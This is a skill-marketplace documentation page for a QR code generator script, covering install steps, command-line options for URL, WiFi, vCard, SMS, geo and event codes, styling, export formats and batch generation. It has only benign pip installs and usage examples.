Qr Code Generator
by @anisafifi
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installat
clawhub install qr-code-generatorπ About This Skill
name: qr-code-generator description: "Use this skill when users need to create QR codes for any purpose. Triggers include: requests to \"generate QR code\", \"create QR\", \"make a QR code for\", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai." license: Proprietary
QR Code Generator
Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.
β οΈ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
# Standard installation
pip install qrcode[pil] segnoIf you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno
Never use --break-system-packages as it can damage your system's Python installation.
Quick Reference
| Task | Command |
|------|---------|
| Basic URL QR code | python scripts/qr.py "https://example.com" |
| Text QR code | python scripts/qr.py --type text "Hello World" |
| WiFi QR code | python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret" |
| vCard contact | python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" |
| Custom colors | python scripts/qr.py "URL" --fg-color blue --bg-color white |
| With logo | python scripts/qr.py "URL" --logo logo.png |
| SVG format | python scripts/qr.py "URL" --format svg |
| Batch generation | python scripts/qr.py --batch urls.txt --output-dir qrcodes/ |
Core Features
1. Multiple Data Types
Generate QR codes for various data types with automatic formatting.
Supported Types:
2. Customization Options
Personalize QR code appearance:
3. Multiple Export Formats
Export in various formats for different use cases:
4. Batch Processing
Generate multiple QR codes from:
Basic Usage
URL QR Codes
Generate QR codes for websites and links.
# Simple URL
python scripts/qr.py "https://example.com"With custom filename
python scripts/qr.py "https://github.com" --output github_qr.pngHigh error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png
Output:
QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com
Text QR Codes
Encode plain text messages.
# Simple text
python scripts/qr.py --type text "Hello, World!"Multi-line text
python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.pngLarge text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png
WiFi QR Codes
Create scannable WiFi credentials.
# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPAHidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hiddenOpen network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass
Security types: WPA, WEP, nopass
Output QR contains:
WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;
Contact Cards (vCard)
Generate vCard QR codes for easy contact sharing.
# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"Full contact details
python scripts/qr.py --type vcard \
--name "Jane Smith" \
--phone "+1234567890" \
--email "jane@example.com" \
--organization "Tech Corp" \
--title "Senior Developer" \
--url "https://janesmith.com" \
--address "123 Main St, City, State, 12345" \
--output jane_contact.pngMultiple phone numbers
python scripts/qr.py --type vcard \
--name "Bob Johnson" \
--phone "+1234567890" \
--phone-home "+0987654321" \
--email "bob@email.com"
Generated vCard format:
BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD
Email QR Codes
Create mailto: links with optional subject and body.
# Simple email
python scripts/qr.py --type email --email "contact@example.com"With subject
python scripts/qr.py --type email --email "support@company.com" --subject "Support Request"With subject and body
python scripts/qr.py --type email \
--email "info@example.com" \
--subject "Inquiry" \
--body "I would like more information about..."
Output QR contains:
mailto:contact@example.com?subject=Support%20Request&body=Message%20text
Phone Number QR Codes
Generate clickable phone links.
# Simple phone number
python scripts/qr.py --type phone --phone "+1234567890"International format
python scripts/qr.py --type phone --phone "+44 20 7946 0958"
Output QR contains:
tel:+1234567890
SMS QR Codes
Create pre-filled SMS messages.
# SMS with recipient only
python scripts/qr.py --type sms --phone "+1234567890"SMS with message
python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!"
Output QR contains:
sms:+1234567890?body=Hello%20from%20QR%20code!
Geographic Location QR Codes
Encode GPS coordinates.
# Coordinates only
python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194With altitude
python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10Named location
python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London"
Output QR contains:
geo:37.7749,-122.4194
Calendar Event QR Codes
Generate iCalendar event QR codes.
# Basic event
python scripts/qr.py --type event \
--event-title "Team Meeting" \
--event-start "2024-03-15T14:00:00" \
--event-end "2024-03-15T15:00:00"Full event details
python scripts/qr.py --type event \
--event-title "Conference 2024" \
--event-start "2024-06-01T09:00:00" \
--event-end "2024-06-01T17:00:00" \
--event-location "Convention Center, NYC" \
--event-description "Annual tech conference" \
--output conference_qr.png
Customization Options
Colors
Customize foreground and background colors.
# Named colors
python scripts/qr.py "https://example.com" --fg-color blue --bg-color whiteHex colors
python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF"RGB colors
python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)"Transparent background
python scripts/qr.py "https://example.com" --bg-color transparent --format png
Common color names: black, white, red, blue, green, yellow, orange, purple, pink, brown, gray
Error Correction
Set error correction level (higher = more damage resistance).
--error-correction
Levels:
# Low (smallest QR code)
python scripts/qr.py "https://example.com" --error-correction LHigh (best for print with logo)
python scripts/qr.py "https://example.com" --error-correction H --logo company.png
Size and Border
Control QR code size and border width.
# Custom module size (box size in pixels)
python scripts/qr.py "URL" --box-size 20Custom border (modules)
python scripts/qr.py "URL" --border 2Large QR code
python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.pngMinimal QR code (no border)
python scripts/qr.py "URL" --border 0 --output minimal_qr.png
Defaults:
Logo Embedding
Add logos or images to QR codes.
# Add logo (center)
python scripts/qr.py "https://company.com" --logo company_logo.pngCustom logo size (percentage of QR code)
python scripts/qr.py "URL" --logo logo.png --logo-size 20High error correction recommended with logos
python scripts/qr.py "URL" --logo logo.png --error-correction H
Logo tips:
Export Formats
PNG (Default)
Raster image format, good for digital use.
python scripts/qr.py "https://example.com" --format png --output qr.png
Best for: Web, digital displays, simple sharing
SVG (Vector)
Scalable vector graphics, perfect for any size.
python scripts/qr.py "https://example.com" --format svg --output qr.svg
Best for: Print, design work, scaling to any size
Print-ready PDF documents.
python scripts/qr.py "https://example.com" --format pdf --output qr.pdf
Best for: Printing, documents, archival
EPS
Encapsulated PostScript for professional design tools.
python scripts/qr.py "https://example.com" --format eps --output qr.eps
Best for: Professional design software (Adobe Illustrator, etc.)
Terminal
Display QR code as ASCII art in terminal.
python scripts/qr.py "https://example.com" --format terminal
Output:
βββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββ
ββββ βββββ βββ ββββββ ββββ
ββββ β β βββββ β β ββββ
ββββ βββββ ββ β βββββ ββββ
...
Best for: Quick terminal display, debugging
Batch Generation
From Text File
Generate QR codes from a list of URLs or text.
# Create input file
cat > urls.txt << EOF
https://example.com
https://github.com
https://google.com
EOFGenerate batch
python scripts/qr.py --batch urls.txt --output-dir qrcodes/
Output:
qrcodes/
βββ qr_001.png
βββ qr_002.png
βββ qr_003.png
From CSV File
Generate with metadata (filenames, options).
# Create CSV
cat > contacts.csv << EOF
name,phone,email,filename
John Doe,+1234567890,john@example.com,john_qr.png
Jane Smith,+0987654321,jane@example.com,jane_qr.png
EOFGenerate batch
python scripts/qr.py --batch contacts.csv --type vcard --output-dir contacts/
From JSON File
Generate with full customization per QR code.
# Create JSON config
cat > qr_config.json << EOF
[
{
"data": "https://example.com",
"output": "example_qr.png",
"fg_color": "blue",
"bg_color": "white"
},
{
"type": "wifi",
"ssid": "MyNetwork",
"password": "secret",
"output": "wifi_qr.png"
}
]
EOFGenerate batch
python scripts/qr.py --batch qr_config.json --output-dir custom/
Common Workflows
Event Check-In System
Generate QR codes for event tickets.
# Create ticket QR codes with unique IDs
python scripts/qr.py --type text "TICKET-001-VIP" --output tickets/ticket_001.png
python scripts/qr.py --type text "TICKET-002-GENERAL" --output tickets/ticket_002.pngOr batch from CSV
cat > tickets.csv << EOF
ticket_id,type,name
TICKET-001,VIP,John Doe
TICKET-002,GENERAL,Jane Smith
EOFpython scripts/qr.py --batch tickets.csv --template "TICKET-{ticket_id}-{type}" --output-dir tickets/
Restaurant Menu
Create QR code for digital menu.
# Menu URL
python scripts/qr.py "https://restaurant.com/menu" \
--output menu_qr.png \
--box-size 15 \
--error-correction HPrint version (PDF)
python scripts/qr.py "https://restaurant.com/menu" \
--format pdf \
--output menu_qr.pdf \
--box-size 20
WiFi Guest Access
Generate WiFi QR code for guests.
# Print-friendly version
python scripts/qr.py --type wifi \
--ssid "Guest_Network" \
--password "GuestPass123" \
--format pdf \
--output wifi_guest.pdf \
--box-size 15 \
--error-correction HPoster with logo
python scripts/qr.py --type wifi \
--ssid "Guest_Network" \
--password "GuestPass123" \
--logo company_logo.png \
--output wifi_poster.png \
--box-size 20
Contact Card Distribution
Create scannable business cards.
# Generate vCard
python scripts/qr.py --type vcard \
--name "John Doe" \
--phone "+1234567890" \
--email "john@company.com" \
--organization "Tech Corp" \
--title "CEO" \
--url "https://company.com" \
--format svg \
--output business_card.svgPrint version
python scripts/qr.py --type vcard \
--name "John Doe" \
--phone "+1234567890" \
--email "john@company.com" \
--format pdf \
--output business_card.pdf \
--box-size 12
Product Packaging
QR codes for product information.
# Product info URL
python scripts/qr.py "https://product.com/info/SKU12345" \
--output product_qr.svg \
--format svg \
--fg-color "#000000" \
--bg-color transparentWith error correction for damaged packaging
python scripts/qr.py "https://product.com/info/SKU12345" \
--error-correction H \
--output product_qr_robust.png
Social Media Links
QR codes for social profiles.
# Instagram
python scripts/qr.py "https://instagram.com/username" --output instagram_qr.pngLinkedIn
python scripts/qr.py "https://linkedin.com/in/username" --output linkedin_qr.pngMultiple platforms (batch)
cat > social.txt << EOF
https://twitter.com/username
https://instagram.com/username
https://linkedin.com/in/username
https://github.com/username
EOFpython scripts/qr.py --batch social.txt --output-dir social_qr/
Payment Links
QR codes for payment services.
# PayPal
python scripts/qr.py "https://paypal.me/username" --output paypal_qr.pngVenmo
python scripts/qr.py "venmo://username" --output venmo_qr.pngCash App
python scripts/qr.py "https://cash.app/$username" --output cashapp_qr.png
Best Practices
Size and Scanning
1. Minimum size: 2cm Γ 2cm for reliable scanning 2. Viewing distance: QR size should be 10% of scanning distance 3. Border: Keep at least 4 modules border (quiet zone) 4. Testing: Always test scan before printing
Error Correction
1. Digital display: Use L or M 2. Print without logo: Use M 3. Print with logo: Use H 4. Outdoor/damaged: Use H
Colors
1. High contrast: Dark foreground, light background 2. Avoid: Light colors on light, dark on dark 3. Print: Use pure black/white for best results 4. Branding: Test custom colors before mass production
Logo Integration
1. Size: Keep logo β€ 25-30% of QR code 2. Error correction: Use Q or H level 3. Position: Center placement works best 4. Testing: Verify scanning with logo
File Formats
1. Digital: PNG for web, screens 2. Print: PDF or SVG for scalability 3. Design: SVG or EPS for editing 4. Archive: Keep source data and SVG version
Troubleshooting
Installation Issues
"Missing required dependency"
# Install dependencies
pip install qrcode[pil] segnoOr use virtual environment
python -m venv venv
source venv/bin/activate
pip install qrcode[pil] segno
"PIL/Pillow not found"
pip install Pillow
Generation Issues
"QR code too complex"
"Cannot scan QR code"
"Logo obscures data"
File Issues
"Cannot save file"
"Invalid color format"
Command Reference
python scripts/qr.py [DATA] [OPTIONS]DATA:
Text string, URL, or data to encode (required unless using --batch)
GENERAL OPTIONS:
--type Data type (url|text|wifi|vcard|email|phone|sms|geo|event)
-o, --output Output filename (default: qrcode.png)
-f, --format Format (png|svg|pdf|eps|terminal)
CUSTOMIZATION:
--fg-color Foreground color (default: black)
--bg-color Background color (default: white)
--error-correction Error correction (L|M|Q|H, default: M)
--box-size Module size in pixels (default: 10)
--border Border size in modules (default: 4)
--logo Logo image path
--logo-size Logo size percentage (default: 20)
WIFI OPTIONS:
--ssid Network SSID
--password Network password
--security Security type (WPA|WEP|nopass)
--hidden Hidden network flag
VCARD OPTIONS:
--name Full name
--phone Phone number
--phone-home Home phone
--phone-work Work phone
--email Email address
--organization Company/organization
--title Job title
--url Website URL
--address Full address
EMAIL OPTIONS:
--email Email address
--subject Email subject
--body Email body
PHONE/SMS OPTIONS:
--phone Phone number
--message SMS message text
GEO OPTIONS:
--latitude Latitude coordinate
--longitude Longitude coordinate
--altitude Altitude (optional)
--location-name Location name (optional)
EVENT OPTIONS:
--event-title Event title
--event-start Start datetime (ISO format)
--event-end End datetime (ISO format)
--event-location Event location
--event-description Event description
BATCH OPTIONS:
--batch Input file (txt|csv|json)
--output-dir Output directory for batch
--template Filename template for batch
HELP:
--help Show all options
Examples by Use Case
Quick QR Codes
# URL
python scripts/qr.py "https://example.com"Text
python scripts/qr.py --type text "Hello World"Phone
python scripts/qr.py --type phone --phone "+1234567890"
Professional QR Codes
# With logo and custom colors
python scripts/qr.py "https://company.com" \
--logo logo.png \
--fg-color "#003366" \
--bg-color "#FFFFFF" \
--error-correction H \
--output company_qr.pngPrint-ready
python scripts/qr.py "https://company.com" \
--format pdf \
--box-size 15 \
--error-correction H \
--output printable_qr.pdf
Functional QR Codes
# WiFi access
python scripts/qr.py --type wifi --ssid "Network" --password "pass123"Contact card
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "john@example.com"Calendar event
python scripts/qr.py --type event --event-title "Meeting" --event-start "2024-03-15T14:00:00" --event-end "2024-03-15T15:00:00"
Bulk Generation
# From URL list
python scripts/qr.py --batch urls.txt --output-dir qrcodes/From CSV with metadata
python scripts/qr.py --batch data.csv --output-dir output/Custom configuration per code
python scripts/qr.py --batch config.json --output-dir custom/
Support
For issues or questions:
1. Check this documentation
2. Run python scripts/qr.py --help
3. Verify dependencies are installed
4. Test with simple QR code first
Resources:
π Tips & Best Practices
Size and Scanning
1. Minimum size: 2cm Γ 2cm for reliable scanning 2. Viewing distance: QR size should be 10% of scanning distance 3. Border: Keep at least 4 modules border (quiet zone) 4. Testing: Always test scan before printing
Error Correction
1. Digital display: Use L or M 2. Print without logo: Use M 3. Print with logo: Use H 4. Outdoor/damaged: Use H
Colors
1. High contrast: Dark foreground, light background 2. Avoid: Light colors on light, dark on dark 3. Print: Use pure black/white for best results 4. Branding: Test custom colors before mass production
Logo Integration
1. Size: Keep logo β€ 25-30% of QR code 2. Error correction: Use Q or H level 3. Position: Center placement works best 4. Testing: Verify scanning with logo
File Formats
1. Digital: PNG for web, screens 2. Print: PDF or SVG for scalability 3. Design: SVG or EPS for editing 4. Archive: Keep source data and SVG version